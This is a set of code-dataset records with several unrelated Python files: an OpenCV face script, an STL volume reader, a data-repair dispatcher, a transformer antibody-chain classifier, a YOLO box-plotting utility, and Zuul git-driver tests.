[correction_image[y: y + h, x: x + w] for x, y, w, h in rois]\n\n hists = [cv2.calcHist([sub], [0, 1, 2], mask, (128, 128, 128), (0, 256, 0, 256, 0, 256)) for sub, mask in\n zip(subs, masks)]\n hists = [h / np.sum(h) for h in hists]\n\n sim1 = cv2.compareHist(hists[3], hists[2], cv2.HISTCMP_CORREL)\n sim2 = cv2.compareHist(hists[0], hists[1], cv2.HISTCMP_CORREL)\n\n criteria = 0.2 if sim1 > 0.2 else 0.1\n\n value = sim2 > criteria\n\n text = \"Woman\" if value else \"Man\"\n cv2.putText(image, text, (0, 30), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2)\n cv2.imshow(\"MyFace\", image)\n\n else:\n print(\"cannot find eyes\")\n\nelse:\n print(\"cannot find face\")\n\ncv2.waitKey(0)\n","sub_path":"OpenCV/face_area_detect.py","file_name":"face_area_detect.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"695554","text":"import sys\nimport numpy as np\nimport json\nfrom stl import mesh\n\nif len(sys.argv) == 3:\n\tstl_path = sys.argv[1]\n\toutput_path = sys.argv[2]\n\n\tyour_mesh = mesh.Mesh.from_file(stl_path)\n\n\tvolume, cog, inertia = your_mesh.get_mass_properties()\n\n\tstl_data = {}\n\tstl_data['volume'] = volume\n\n\t\"\"\"\n\tprint(\"Volume = {0}\".format(volume))\n\tprint(\"Position of the center of gravity (COG) = {0}\".format(cog))\n\tprint(\"Inertia matrix at expressed at the COG = {0}\".format(inertia[0,:]))\n\tprint(\" {0}\".format(inertia[1,:]))\n\tprint(\" {0}\".format(inertia[2,:]))\n\t\"\"\"\n\n\twith open(output_path, 'w') as outfile: \n\t\tjson.dump(stl_data, outfile)\nelse:\n\tprint(\"\\nVäärä argumenttien määrä. Anna ensimmäisenä argumenttina .stl -tiedoston polku, ja toisena argumenttina output -tiedoston nimi. \\nOhjelma hyväksyy ainoastaan kaksi argumenttia.\")\n\t\n\t","sub_path":"3dPrintWebShop/App_Data/stl_reader/read_stl.py","file_name":"read_stl.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"75019663","text":"from AbstractRepairer import AbstractRepairer\nfrom CategoricRepairer import Repairer as CategoricRepairer\nfrom NumericRepairer import Repairer as NumericRepairer\n\nclass Repairer(AbstractRepairer):\n def __init__(self, *args, **kwargs):\n super(Repairer, self).__init__(*args, **kwargs)\n\n if all(isinstance(row[self.feature_to_repair],float) for row in self.all_data):\n self.repairer = NumericRepairer(*args, **kwargs)\n elif all(isinstance(row[self.feature_to_repair],int) for row in self.all_data):\n self.repairer = NumericRepairer(*args, **kwargs)\n elif all(isinstance(row[self.feature_to_repair],str) for row in self.all_data):\n self.repairer = CategoricRepairer(*args, **kwargs)\n\n def repair(self, data_to_repair):\n return self.repairer.repair(data_to_repair)\n","sub_path":"repairers/GeneralRepairer.py","file_name":"GeneralRepairer.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"143528656","text":"import tensorflow as tf\n\n\nimport tensorflow as tf\nfrom tensorflow.compat.v1.lookup import StaticHashTable, KeyValueTensorInitializer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\nimport argparse, joblib\n\nimport pandas as pd\n\n\n# set up argument parsing (make sure these match those in config.yml)\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--infile\", type=str, required=True)\nargs = parser.parse_args()\n\n# READ DATA\ndata = pd.read_csv(args.infile)\n\ndef seq_to_number(seq_, max_length):\n seq_ = pd.DataFrame(np.array([seq_]).T)\n seq_ = [list(i[0]) for i in seq_.values]\n seq_ = pad_sequences(seq_, dtype='str', maxlen=max_length, padding='post', truncating='post')\n seq_ = table.lookup(tf.constant(seq_, dtype = tf.string))\n return seq_\n\n\n\n\ntable = StaticHashTable(\n initializer=KeyValueTensorInitializer(\n keys=tf.constant(['0', 'A', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L',\n 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'Y', 'U', 'O', '\\n'], dtype = tf.string),\n values=tf.constant([0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, \n 14, 15, 16, 17, 18, 19, 20, 21, 22, 23,24], dtype = tf.int32),\n key_dtype= tf.string,\n value_dtype=tf.int32,\n ),\n default_value=tf.constant(1, dtype = tf.int32),\n name=\"class\"\n )\n\n#Parametars \nMAX_LENGTH = 150\n\n\nNUM_LAYERS= 1\nNUM_HEADS= 2 \nD_MODEL = 32 * NUM_HEADS \nDFF = 2 * 32 * NUM_HEADS\n\nINPUT_VOCAB_SIZE = 25\n\nimport numpy as np\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\n\ndef get_angles(pos, i, d_model):\n angle_rates = 1 / np.power(10000, (2 * (i//2)) / np.float32(d_model))\n return pos * angle_rates\n\ndef positional_encoding(position, d_model):\n angle_rads = get_angles(np.arange(position)[:, np.newaxis],\n np.arange(d_model)[np.newaxis, :],\n d_model)\n\n # apply sin to even indices in the array; 2i\n angle_rads[:, 0::2] = np.sin(angle_rads[:, 0::2])\n\n # apply cos to odd indices in the array; 2i+1\n angle_rads[:, 1::2] = np.cos(angle_rads[:, 1::2])\n\n pos_encoding = angle_rads[np.newaxis, ...]\n\n return tf.cast(pos_encoding, dtype=tf.float32)\n\ndef point_wise_feed_forward_network(d_model, dff):\n return tf.keras.Sequential([\n tf.keras.layers.Dense(dff, activation='relu'), # (batch_size, seq_len, dff)\n tf.keras.layers.Dense(d_model) # (batch_size, seq_len, d_model)\n ])\n\n\ndef scaled_dot_product_attention(q, k, v, mask):\n \"\"\"Calculate the attention weights.\n q, k, v must have matching leading dimensions.\n k, v must have matching penultimate dimension, i.e.: seq_len_k = seq_len_v.\n The mask has different shapes depending on its type(padding or look ahead) \n but it must be broadcastable for addition.\n\n Args:\n q: query shape == (..., seq_len_q, depth)\n k: key shape == (..., seq_len_k, depth)\n v: value shape == (..., seq_len_v, depth_v)\n mask: Float tensor with shape broadcastable \n to (..., seq_len_q, seq_len_k). Defaults to None.\n\n Returns:\n output, attention_weights\n \"\"\"\n\n matmul_qk = tf.matmul(q, k, transpose_b=True) # (..., seq_len_q, seq_len_k)\n\n # scale matmul_qk\n dk = tf.cast(tf.shape(k)[-1], tf.float32)\n scaled_attention_logits = matmul_qk / tf.math.sqrt(dk)\n\n # add the mask to the scaled tensor.\n if mask is not None:\n scaled_attention_logits += (mask * -1e9) \n\n # softmax is normalized on the last axis (seq_len_k) so that the scores\n # add up to 1.\n attention_weights = tf.nn.softmax(scaled_attention_logits, axis=-1) # (..., seq_len_q, seq_len_k)\n\n output = tf.matmul(attention_weights, v) # (..., seq_len_q, depth_v)\n\n return output, attention_weights\n\n \n\n\nclass MultiHeadAttention(tf.keras.layers.Layer):\n def __init__(self, d_model, num_heads):\n super(MultiHeadAttention, self).__init__()\n self.num_heads = num_heads\n self.d_model = d_model\n\n assert d_model % self.num_heads == 0\n\n self.depth = d_model // self.num_heads\n\n self.wq = tf.keras.layers.Dense(d_model)\n self.wk = tf.keras.layers.Dense(d_model)\n self.wv = tf.keras.layers.Dense(d_model)\n\n self.dense = tf.keras.layers.Dense(d_model)\n\n def split_heads(self, x, batch_size):\n \"\"\"Split the last dimension into (num_heads, depth).\n Transpose the result such that the shape is (batch_size, num_heads, seq_len, depth)\n \"\"\"\n x = tf.reshape(x, (batch_size, -1, self.num_heads, self.depth))\n return tf.transpose(x, perm=[0, 2, 1, 3])\n\n def call(self, v, k, q, mask):\n batch_size = tf.shape(q)[0]\n\n q = self.wq(q) # (batch_size, seq_len, d_model)\n k = self.wk(k) # (batch_size, seq_len, d_model)\n v = self.wv(v) # (batch_size, seq_len, d_model)\n\n q = self.split_heads(q, batch_size) # (batch_size, num_heads, seq_len_q, depth)\n k = self.split_heads(k, batch_size) # (batch_size, num_heads, seq_len_k, depth)\n v = self.split_heads(v, batch_size) # (batch_size, num_heads, seq_len_v, depth)\n\n # scaled_attention.shape == (batch_size, num_heads, seq_len_q, depth)\n # attention_weights.shape == (batch_size, num_heads, seq_len_q, seq_len_k)\n scaled_attention, attention_weights = scaled_dot_product_attention(\n q, k, v, mask)\n\n scaled_attention = tf.transpose(scaled_attention, perm=[0, 2, 1, 3]) # (batch_size, seq_len_q, num_heads, depth)\n\n concat_attention = tf.reshape(scaled_attention, \n (batch_size, -1, self.d_model)) # (batch_size, seq_len_q, d_model)\n\n output = self.dense(concat_attention) # (batch_size, seq_len_q, d_model)\n\n return output, attention_weights\n\nclass EncoderLayer(tf.keras.layers.Layer):\n def __init__(self, d_model, num_heads, dff, rate=0.1):\n super(EncoderLayer, self).__init__()\n\n self.mha = MultiHeadAttention(d_model, num_heads)\n self.ffn = point_wise_feed_forward_network(d_model, dff)\n\n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n\n self.dropout1 = tf.keras.layers.Dropout(rate)\n self.dropout2 = tf.keras.layers.Dropout(rate)\n\n def call(self, x, training, mask):\n\n attn_output, _ = self.mha(x, x, x, mask) # (batch_size, input_seq_len, d_model)\n attn_output = self.dropout1(attn_output, training=training)\n out1 = self.layernorm1(x + attn_output) # (batch_size, input_seq_len, d_model)\n\n ffn_output = self.ffn(out1) # (batch_size, input_seq_len, d_model)\n ffn_output = self.dropout2(ffn_output, training=training)\n out2 = self.layernorm2(out1 + ffn_output) # (batch_size, input_seq_len, d_model)\n\n return out2\n\nclass Encoder(tf.keras.layers.Layer):\n def __init__(self, num_layers, d_model, num_heads, dff, input_vocab_size,\n maximum_position_encoding, rate=0.1):\n super(Encoder, self).__init__()\n\n self.d_model = d_model\n self.num_layers = num_layers\n\n self.embedding = tf.keras.layers.Embedding(input_vocab_size, d_model)\n self.pos_encoding = positional_encoding(maximum_position_encoding, \n self.d_model)\n\n\n self.enc_layers = [EncoderLayer(d_model, num_heads, dff, rate) \n for _ in range(num_layers)]\n\n self.dropout = tf.keras.layers.Dropout(rate)\n\n def call(self, x, training, mask):\n\n seq_len = tf.shape(x)[1]\n\n # adding embedding and position encoding.\n x = self.embedding(x) # (batch_size, input_seq_len, d_model)\n x *= tf.math.sqrt(tf.cast(self.d_model, tf.float32))\n x += self.pos_encoding[:, :seq_len, :]\n\n x = self.dropout(x, training=training)\n\n for i in range(self.num_layers):\n x = self.enc_layers[i](x, training, mask)\n\n return x # (batch_size, input_seq_len, d_model)\n\n\n\n \ndef create_model():\n inputs_1 = layers.Input((MAX_LENGTH,), dtype=tf.int64)\n inputs_2 = layers.Input((MAX_LENGTH,), dtype=tf.int64)\n\n Bert_1 = Encoder(num_layers = NUM_LAYERS, d_model = D_MODEL, num_heads = NUM_HEADS,\n dff = DFF, input_vocab_size = INPUT_VOCAB_SIZE,\n maximum_position_encoding = MAX_LENGTH)(inputs_1, training=True, mask=None)\n \n Bert_2 = Encoder(num_layers = NUM_LAYERS, d_model = D_MODEL, num_heads = NUM_HEADS,\n dff = DFF, input_vocab_size = INPUT_VOCAB_SIZE,\n maximum_position_encoding = MAX_LENGTH)(inputs_2, training=True, mask=None)\n\n concatenated_ = tf.keras.layers.Concatenate(axis = -2)([Bert_1, Bert_2])\n dense_ = tf.keras.layers.Conv1D(filters = 4, kernel_size = 1)(concatenated_) \n dense_ = tf.keras.layers.Conv1D(filters = 2, kernel_size = 1)(dense_)\n dense_ = tf.keras.layers.Conv1D(filters = 1, kernel_size = 1)(dense_)\n\n fllatened_ = tf.keras.layers.Flatten()(dense_)\n prediction_ = tf.keras.layers.Dense(units = 1, activation=\"sigmoid\")(fllatened_)\n\n clasiffier = tf.keras.models.Model([inputs_1, inputs_2],prediction_, name=\"classifier\")\n\n return clasiffier\n\nClasiffier = create_model()\n\n\noptimizer = tf.keras.optimizers.Adam(learning_rate= 0.0005)\nClasiffier.compile(loss=\"binary_crossentropy\", optimizer=optimizer, metrics=[\"accuracy\", \"AUC\"])\n\nx_1 = seq_to_number(list(data.Hchain), MAX_LENGTH) #ovo triba prominit ui data.Hchain, data.Lchain\nx_2 = seq_to_number(list(data.Lchain), MAX_LENGTH)\n\nClasiffier.load_weights('src/Model_w.h5')\n\ny_pred = Clasiffier.predict([x_1, x_2])\n\n# SAVE PREDICTIONS WITH THE COLUMN NAME prediction IN THE FILE predictions.csv\npd.DataFrame(y_pred[:,0], columns=['prediction']).to_csv(\"predictions.csv\", index=False)\nprint(pd.DataFrame(y_pred[:,0], columns=['prediction']))\n","sub_path":"src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":9680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"634476","text":"import matplotlib.pyplot as plt\nfrom PIL import Image\nimport os\nimport os.path as osp\nimport argparse\nimport torch\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom PIL import Image\nfrom random import randrange\nimport numpy as np\n\nclasses = ['person', 'bicycle', 'car', 'motorbike', 'aeroplane', 'bus', 'train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe', 'backpack', 'umbrella', 'handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball', 'kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket', 'bottle', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza', 'donut', 'cake', 'chair', 'sofa', 'pottedplant', 'bed', 'diningtable', 'toilet', 'tvmonitor', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone', 'microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'book', 'clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush']\n\n\ndef arg_parse():\n \"\"\"\n Parse arguements to the detect module\n \"\"\"\n parser = argparse.ArgumentParser(description='YOLO v3 Detection Module')\n parser.add_argument(\"--dir\", dest='dir', help=\"directory with boxes predictions\",\n default=\"\", type=str)\n parser.add_argument(\"--cls\", dest='cls', help=\"class (ball1, singer3, etc)\",\n default=\"\", type=str)\n parser.add_argument(\"--yolo\", dest='yolo', help=\"yolo boxes dir\",\n default=\"yolo_predictions/casual\", type=str)\n\n return parser.parse_args()\n\n\ndef plot_single_arr(im_path, pr_arr=None, pr_idx=0, gt_arr=None, gt_idx=0, force_square=False):\n im = Image.open(im_path)\n plt.imshow(im)\n\n if pr_arr is not None:\n l = pr_arr[pr_idx]\n if l == \"\":\n return\n pr_bb = [float(x) for x in l.split(',')]\n if len(pr_bb) < 4:\n return\n if force_square:\n X, Y = pr_bb[::2], pr_bb[1::2]\n pr_bb = [min(X), min(Y), max(X), max(Y)]\n plt.plot([pr_bb[0], pr_bb[2], pr_bb[2], pr_bb[0], pr_bb[0], ],\n [pr_bb[1], pr_bb[1], pr_bb[3], pr_bb[3], pr_bb[1], ], 'r-', lw=2)\n elif (len(pr_bb) == 8):\n plt.plot(pr_bb[::2] + [pr_bb[0]],\n pr_bb[1::2] + [pr_bb[1]], 'r-', lw=2)\n else:\n plt.plot([pr_bb[0], pr_bb[2], pr_bb[2], pr_bb[0], pr_bb[0], ],\n [pr_bb[1], pr_bb[1], pr_bb[3], pr_bb[3], pr_bb[1], ], 'r-', lw=2)\n\n if gt_arr is not None:\n l = gt_arr[gt_idx]\n if l == \"\":\n return\n gt_bb = [float(x) for x in l.split(',')]\n\n if (force_square):\n X, Y = gt_bb[::2], gt_bb[1::2]\n gt_bb = [min(X), min(Y), max(X), max(Y)]\n plt.plot([gt_bb[0], gt_bb[2], gt_bb[2], gt_bb[0], gt_bb[0], ],\n [gt_bb[1], gt_bb[1], gt_bb[3], gt_bb[3], gt_bb[1], ], 'b-', lw=2)\n elif (len(gt_bb) == 8):\n plt.plot(gt_bb[::2] + [gt_bb[0]],\n gt_bb[1::2] + [gt_bb[1]], 'b-', lw=2)\n else:\n plt.plot([gt_bb[0], gt_bb[2], gt_bb[2], gt_bb[0], gt_bb[0], ],\n [gt_bb[1], gt_bb[1], gt_bb[3], gt_bb[3], gt_bb[1], ], 'b-', lw=2)\n\n\ndef plot_single(im_path, pr_path=None, pr_idx=0, gt_path=None, gt_idx=0, force_square=False):\n \"\"\"\n coords: [x1, y1, x2, y2, x3, y3, x4, y4]\n \"\"\"\n\n im = Image.open(im_path)\n plt.imshow(im)\n\n if pr_path is not None:\n with open(pr_path, 'r') as f:\n l = f.read().split(\"\\n\")[pr_idx]\n if l == \"\":\n return\n pr_bb = [float(x) for x in l.split(',')]\n\n if (force_square):\n X, Y = pr_bb[::2], pr_bb[1::2]\n pr_bb = [min(X), min(Y), max(X), max(Y)]\n plt.plot([pr_bb[0], pr_bb[2], pr_bb[2], pr_bb[0], pr_bb[0], ],\n [pr_bb[1], pr_bb[1], pr_bb[3], pr_bb[3], pr_bb[1], ], 'r-', lw=2)\n elif (len(pr_bb) == 8):\n plt.plot(pr_bb[::2] + [pr_bb[0]],\n pr_bb[1::2] + [pr_bb[1]], 'r-', lw=2)\n else:\n plt.plot([pr_bb[0], pr_bb[2], pr_bb[2], pr_bb[0], pr_bb[0], ],\n [pr_bb[1], pr_bb[1], pr_bb[3], pr_bb[3], pr_bb[1], ], 'r-', lw=2)\n\n if gt_path is not None:\n with open(gt_path, 'r') as f:\n l = f.read().split(\"\\n\")[gt_idx]\n gt_bb = [float(x) for x in l.split(',')]\n\n if (force_square):\n X, Y = gt_bb[::2], gt_bb[1::2]\n gt_bb = [min(X), min(Y), max(X), max(Y)]\n plt.plot([gt_bb[0], gt_bb[2], gt_bb[2], gt_bb[0], gt_bb[0], ],\n [gt_bb[1], gt_bb[1], gt_bb[3], gt_bb[3], gt_bb[1], ], 'b-', lw=2)\n elif (len(gt_bb) == 8):\n plt.plot(gt_bb[::2] + [gt_bb[0]],\n gt_bb[1::2] + [gt_bb[1]], 'b-', lw=2)\n else:\n plt.plot([gt_bb[0], gt_bb[2], gt_bb[2], gt_bb[0], gt_bb[0], ],\n [gt_bb[1], gt_bb[1], gt_bb[3], gt_bb[3], gt_bb[1], ], 'b-', lw=2)\n\n\ndef save_plot_single_arr(im_path, name=\"plot.jpg\", pr_arr=None, pr_idx=0, gt_arr=None, gt_idx=0, force_square=False):\n plot_single_arr(im_path, pr_arr, pr_idx, gt_arr, gt_idx, force_square)\n plt.show()\n # plt.savefig(name)\n\n\ndef save_plot_single(im_path, name=\"plot.jpg\", pr_path=None, pr_idx=0, gt_path=None, gt_idx=0, force_square=False):\n plot_single(im_path, pr_path, pr_idx, gt_path, gt_idx, force_square)\n plt.savefig(name)\n\n\ndef save_plot_folder(dir_path, saveto=\"results\", pr_path=None, gt_path=None, force_square=False):\n if (not os.path.exists(saveto)):\n os.makedirs(saveto)\n files = sorted([x for x in os.listdir(dir_path) if x.endswith(\".jpg\")])\n\n if gt_path is not None:\n with open(gt_path, 'r') as f:\n gt_arr = f.read().split(\"\\n\")\n\n if pr_path is not None:\n with open(pr_path, 'r') as f:\n pr_arr = f.read().split(\"\\n\")\n\n for n, file in enumerate(files):\n name = osp.join(saveto, file)\n print(\"saving {}\".format(name))\n save_plot_single_arr(osp.join(dir_path, file), name=name, pr_arr=pr_arr,\n pr_idx=n, gt_arr=gt_arr, gt_idx=n, force_square=force_square)\n plt.close()\n\n\ndef csv2tensor(path_to_file, first_len=False):\n with open(path_to_file, 'r') as f:\n pr_arr = f.read().split(\"\\n\")\n if first_len:\n im_len = int(pr_arr.pop(0))\n else:\n im_len = -1\n pr_arr.pop(-1)\n pr_arr = [[float(y) for y in x.split(\",\")] for x in pr_arr]\n return torch.tensor(pr_arr), im_len\n\n\n\ndef plot_single_yolo(im_path, pr_arr, pr_idx, gt_arr, gt_idx, force_square, gs=False):\n im = np.array(Image.open(im_path), dtype=np.uint8)\n # Create figure and axes\n fig, ax = plt.subplots(1)\n # Display the image\n ax.imshow(im)\n # Create a Rectangle patch\n print(pr_arr[pr_arr[:, 0] == pr_idx][:, :5])\n\n for row in pr_arr[pr_arr[:, 0] == pr_idx]:\n color = (randrange(1, 99) / 100, randrange(1, 99) /\n 100, randrange(1, 99) / 100) if gs == False else (.7, .7, .7)\n class_index = torch.argmax(row[6:])\n label = classes[class_index]\n x, y = float(row[1]), float(row[2])\n h, w = float(row[4]) - y, float(row[3]) - x\n rect = patches.Rectangle(\n (x, y), w, h, linewidth=2, edgecolor=color, facecolor='none', label=label)\n # Add the patch to the Axes\n ax.add_patch(rect)\n ax.annotate(label, (x, y), color=color, weight='bold',\n fontsize=6, ha='left', va='top')\n # plt.show()\n\n\ndef save_plot_single_yolo(im_path, name=\"plot.jpg\", pr_tensor=None, pr_idx=0, gt_tensor=None, gt_idx=0, force_square=False, gs=False):\n plot_single_yolo(im_path, pr_tensor, pr_idx,\n gt_tensor, gt_idx, force_square, gs)\n # plt.savefig(name)\n\n\ndef save_plot_yolo(class_dir, saveto=\"results\", pr_path=None, gt_path=None, force_square=False):\n if (not os.path.exists(saveto)):\n os.makedirs(saveto)\n images = sorted([x for x in os.listdir(class_dir) if x.endswith(\".jpg\")])\n\n if gt_path is not None:\n gt_tensor, gt_len = csv2tensor(gt_path)\n\n if pr_path is not None:\n pr_tensor, pr_len = csv2tensor(pr_path)\n\n for n, file in enumerate(images):\n name = osp.join(saveto, file)\n print(\"saving {}\".format(name))\n save_plot_single_yolo(osp.join(class_dir, file), name=name, gt_tensor=gt_tensor,\n pr_idx=n, pr_tensor=pr_tensor, gt_idx=n, force_square=force_square)\n plt.show()\n plt.close()\n\n\ndef save_plot_everything(imgs_folder=None, yolo_pred_file=None, pred_file=None, gt_file=None, saveto=\"results\", force_square=False):\n if (not os.path.exists(saveto)):\n os.makedirs(saveto)\n files = sorted([x for x in os.listdir(imgs_folder) if x.endswith(\".jpg\")])\n\n if gt_file is not None:\n gt_tensor, gt_len = csv2tensor(gt_file)\n\n if pred_file is not None:\n pred_tensor, pred_len = csv2tensor(pred_file)\n\n if pred_file is not None:\n yolo_pred_tensor, yolo_pred_len = csv2tensor(yolo_pred_file, True)\n\n for n, file in enumerate(files):\n name = osp.join(saveto, file)\n print(\"saving {}\".format(name))\n impath = osp.join(imgs_folder, file)\n plot_single_yolo(impath, yolo_pred_tensor, n,\n gt_tensor, n, force_square, gs=True)\n plot_single(impath, pred_file, n, gt_file, n, force_square=True)\n plt.savefig(name)\n plt.show()\n # plt.close()\n\n\nif __name__ == \"__main__\":\n # save_plot_single(\"/home/zabulskyy/Datasets/vot2016/leaves/00000100.jpg\",\n # pr_path=\"/home/zabulskyy/Projects/CTU-Research/results/yolo-blind/leaves.txt\",\n # gt_path=\"/home/zabulskyy/Datasets/vot2016/leaves/groundtruth.txt\",\n # force_square=True, gt_idx=101, pr_idx=101)\n cls = \"birds2\"\n met = \"../YOLO-tracker/results/first_results_more_cc_first_init\"\n yolo_pred_path = \"/home/zabulskyy/Projects/CTU-Research/yolo_predictions/extended/\"\n\n # save_plot_folder(osp.join(\"/home/zabulskyy/Datasets/vot2016\", cls), saveto=osp.join(\"plots\", met, cls),\n # pr_path=osp.join(\"notebooks/\" + met, cls) + \".csv\",\n # gt_path=osp.join(\n # \"/home/zabulskyy/Datasets/vot2016\", cls, \"groundtruth.txt\"),\n # force_square=True)\n\n save_plot_everything(imgs_folder=osp.join(\"/home/zabulskyy/Datasets/vot2016\", cls), yolo_pred_file=osp.join(yolo_pred_path, cls+\".csv\"),\n pred_file=osp.join(\"./\" + met, cls) + \".csv\", saveto=\"lololo\",\n force_square=True, gt_file=osp.join(\n \"/home/zabulskyy/Datasets/vot2016\", cls, \"groundtruth.txt\"))\n\n\n # save_plot_folder(\"/home/zabulskyy/Datasets/vot2016/leaves\", saveto=\"./plots/yolo-first-smart-smart/leaves\",\n # pr_path=\"./results/yolo-first-smart-smart/leaves.txt\",\n # gt_path=\"/home/zabulskyy/Datasets/vot2016/leaves/groundtruth.txt\",\n # force_square=True)","sub_path":"scripts/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":11322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"150032700","text":"# Copyright 2016 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nimport os\nimport time\nimport yaml\n\nfrom tests.base import ZuulTestCase, simple_layout\n\n\nclass TestGitDriver(ZuulTestCase):\n config_file = 'zuul-git-driver.conf'\n tenant_config_file = 'config/git-driver/main.yaml'\n\n def setUp(self):\n super(TestGitDriver, self).setUp()\n self.git_connection = self.sched.connections.getSource('git').\\\n connection\n\n def setup_config(self):\n super(TestGitDriver, self).setup_config()\n self.config.set('connection git', 'baseurl', self.upstream_root)\n\n def test_basic(self):\n tenant = self.sched.abide.tenants.get('tenant-one')\n # Check that we have the git source for common-config and the\n # gerrit source for the project.\n self.assertEqual('git', tenant.config_projects[0].source.name)\n self.assertEqual('common-config', tenant.config_projects[0].name)\n self.assertEqual('gerrit', tenant.untrusted_projects[0].source.name)\n self.assertEqual('org/project', tenant.untrusted_projects[0].name)\n\n # The configuration for this test is accessed via the git\n # driver (in common-config), rather than the gerrit driver, so\n # if the job runs, it worked.\n A = self.fake_gerrit.addFakeChange('org/project', 'master', 'A')\n self.fake_gerrit.addEvent(A.getPatchsetCreatedEvent(1))\n self.waitUntilSettled()\n self.assertEqual(len(self.history), 1)\n self.assertEqual(A.reported, 1)\n\n def test_config_refreshed(self):\n A = self.fake_gerrit.addFakeChange('org/project', 'master', 'A')\n self.fake_gerrit.addEvent(A.getPatchsetCreatedEvent(1))\n self.waitUntilSettled()\n self.assertEqual(len(self.history), 1)\n self.assertEqual(A.reported, 1)\n self.assertEqual(self.history[0].name, 'project-test1')\n\n # Update zuul.yaml to force a tenant reconfiguration\n path = os.path.join(self.upstream_root, 'common-config', 'zuul.yaml')\n config = yaml.safe_load(open(path, 'r').read())\n change = {\n 'name': 'org/project',\n 'check': {\n 'jobs': [\n 'project-test2'\n ]\n }\n }\n config[4]['project'] = change\n files = {'zuul.yaml': yaml.dump(config)}\n self.addCommitToRepo(\n 'common-config', 'Change zuul.yaml configuration', files)\n\n # Wait for the tenant reconfiguration to happen\n count = self.waitForEvent()\n self.waitUntilSettled()\n\n A = self.fake_gerrit.addFakeChange('org/project', 'master', 'A')\n self.fake_gerrit.addEvent(A.getPatchsetCreatedEvent(1))\n self.waitUntilSettled()\n self.assertEqual(len(self.history), 2)\n self.assertEqual(A.reported, 1)\n # We make sure the new job has run\n self.assertEqual(self.history[1].name, 'project-test2')\n\n # Let's stop the git Watcher to let us merge some changes commits\n # We want to verify that config changes are detected for commits\n # on the range oldrev..newrev\n self.sched.connections.getSource('git').connection.w_pause = True\n # Add a config change\n change = {\n 'name': 'org/project',\n 'check': {\n 'jobs': [\n 'project-test1'\n ]\n }\n }\n config[4]['project'] = change\n files = {'zuul.yaml': yaml.dump(config)}\n self.addCommitToRepo(\n 'common-config', 'Change zuul.yaml configuration', files)\n # Add two other changes\n self.addCommitToRepo(\n 'common-config', 'Adding f1',\n {'f1': \"Content\"})\n self.addCommitToRepo(\n 'common-config', 'Adding f2',\n {'f2': \"Content\"})\n # Restart the git watcher\n self.sched.connections.getSource('git').connection.w_pause = False\n\n # Wait for the tenant reconfiguration to happen\n self.waitForEvent(count)\n self.waitUntilSettled()\n\n A = self.fake_gerrit.addFakeChange('org/project', 'master', 'A')\n self.fake_gerrit.addEvent(A.getPatchsetCreatedEvent(1))\n self.waitUntilSettled()\n self.assertEqual(len(self.history), 3)\n self.assertEqual(A.reported, 1)\n # We make sure the new job has run\n self.assertEqual(self.history[2].name, 'project-test1')\n\n def ensure_watcher_has_context(self):\n # Make sure watcher have read initial refs shas\n delay = 0.1\n max_delay = 1\n while not self.git_connection.projects_refs:\n time.sleep(delay)\n max_delay -= delay\n if max_delay <= 0:\n raise Exception(\"Timeout waiting for initial read\")\n return self.git_connection.watcher_thread._event_count\n\n def waitForEvent(self, initial_count=0):\n delay = 0.1\n max_delay = 5\n while self.git_connection.watcher_thread._event_count <= initial_count:\n time.sleep(delay)\n max_delay -= delay\n if max_delay <= 0:\n raise Exception(\"Timeout waiting for event\")\n return self.git_connection.watcher_thread._event_count\n\n @simple_layout('layouts/basic-git.yaml', driver='git')\n def test_ref_updated_event(self):\n count = self.ensure_watcher_has_context()\n # Add a commit to trigger a ref-updated event\n self.addCommitToRepo(\n 'org/project', 'A change for ref-updated', {'f1': 'Content'})\n # Wait for the git watcher to detect the ref-update event\n self.waitForEvent(count)\n self.waitUntilSettled()\n self.assertEqual(len(self.history), 1)\n self.assertEqual('SUCCESS',\n self.getJobFromHistory('post-job').result)\n\n @simple_layout('layouts/basic-git.yaml', driver='git')\n def test_ref_created(self):\n count = self.ensure_watcher_has_context()\n # Tag HEAD to trigger a ref-updated event\n self.addTagToRepo(\n 'org/project', 'atag', 'HEAD')\n # Wait for the git watcher to detect the ref-update event\n self.waitForEvent(count)\n self.waitUntilSettled()\n 